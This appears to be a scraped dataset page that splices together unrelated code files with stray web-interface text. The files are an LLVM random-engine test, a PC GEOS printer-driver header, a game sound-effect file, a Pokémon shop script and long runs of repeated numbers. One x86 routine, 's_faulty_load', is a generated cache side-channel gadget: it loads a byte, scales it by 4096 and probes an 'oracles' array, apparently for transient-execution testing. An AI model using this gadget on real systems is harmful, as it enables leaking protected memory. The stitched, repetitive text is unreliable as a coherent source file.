39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
|
//===----------------------------------------------------------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is dual licensed under the MIT and the University of Illinois Open
// Source Licenses. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
// <random>
// template<class Engine, size_t p, size_t r>
// class discard_block_engine
// explicit discard_block_engine();
#include <random>
#include <cassert>
void
test1()
{
std::ranlux24 e1;
std::ranlux24 e2(std::ranlux24_base::default_seed);
assert(e1 == e2);
assert(e1() == 15039276);
}
void
test2()
{
std::ranlux48 e1;
std::ranlux48 e2(std::ranlux48_base::default_seed);
assert(e1 == e2);
assert(e1() == 23459059301164ull);
}
int main()
{
test1();
test2();
}
|
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %rax
push %rbx
push %rdx
// Faulty Load
lea addresses_D+0x9344, %rdx
nop
sub $63686, %r10
movb (%rdx), %bl
lea oracles, %rax
and $0xff, %rbx
shlq $12, %rbx
mov (%rax,%rbx,1), %rbx
pop %rdx
pop %rbx
pop %rax
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_D', 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_D', 'congruent': 0}}
<gen_prepare_buffer>
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Berkeley Softworks 1994 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Brother NIKE 56-jet printer
FILE: nike56Cursor.asm
AUTHOR: Dave Durran
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
Dave 10/94 Initial revision
DESCRIPTION:
This file contains most of the code to implement the Brother 56-pin
print driver cursor movement support
$Id: nike56Cursor.asm,v 1.1 97/04/18 11:55:31 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
include Cursor/cursor50By300Common.asm
include Cursor/cursorSetCursorAbsWP.asm
include Cursor/cursorPrLineFeedNike.asm
include Cursor/cursorConvert300.asm
include Cursor/cursorConvert50X.asm
|
5D_Header:
sHeaderInit ; Z80 offset is $C749
sHeaderPatch 5D_Patches
sHeaderTick $01
sHeaderCh $01
sHeaderSFX $80, $C0, 5D_PSG3, $00, $00
5D_PSG3:
sNoisePSG $E7
dc.b nB4, $08
5D_Loop1:
dc.b nAb6
saVolPSG $01
sLoop $00, $03, 5D_Loop1
dc.b $10, sHold
sStop
5D_Patches:
|
FuchsiaMart_Script:
jp EnableAutoTextBoxDrawing
FuchsiaMart_TextPointers:
dw FuchsiaCashierText
dw FuchsiaMartText2
dw FuchsiaMartText3
FuchsiaMartText2:
TX_FAR _FuchsiaMartText2
db "@"
FuchsiaMartText3:
TX_FAR _FuchsiaMartText3
db "@"
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.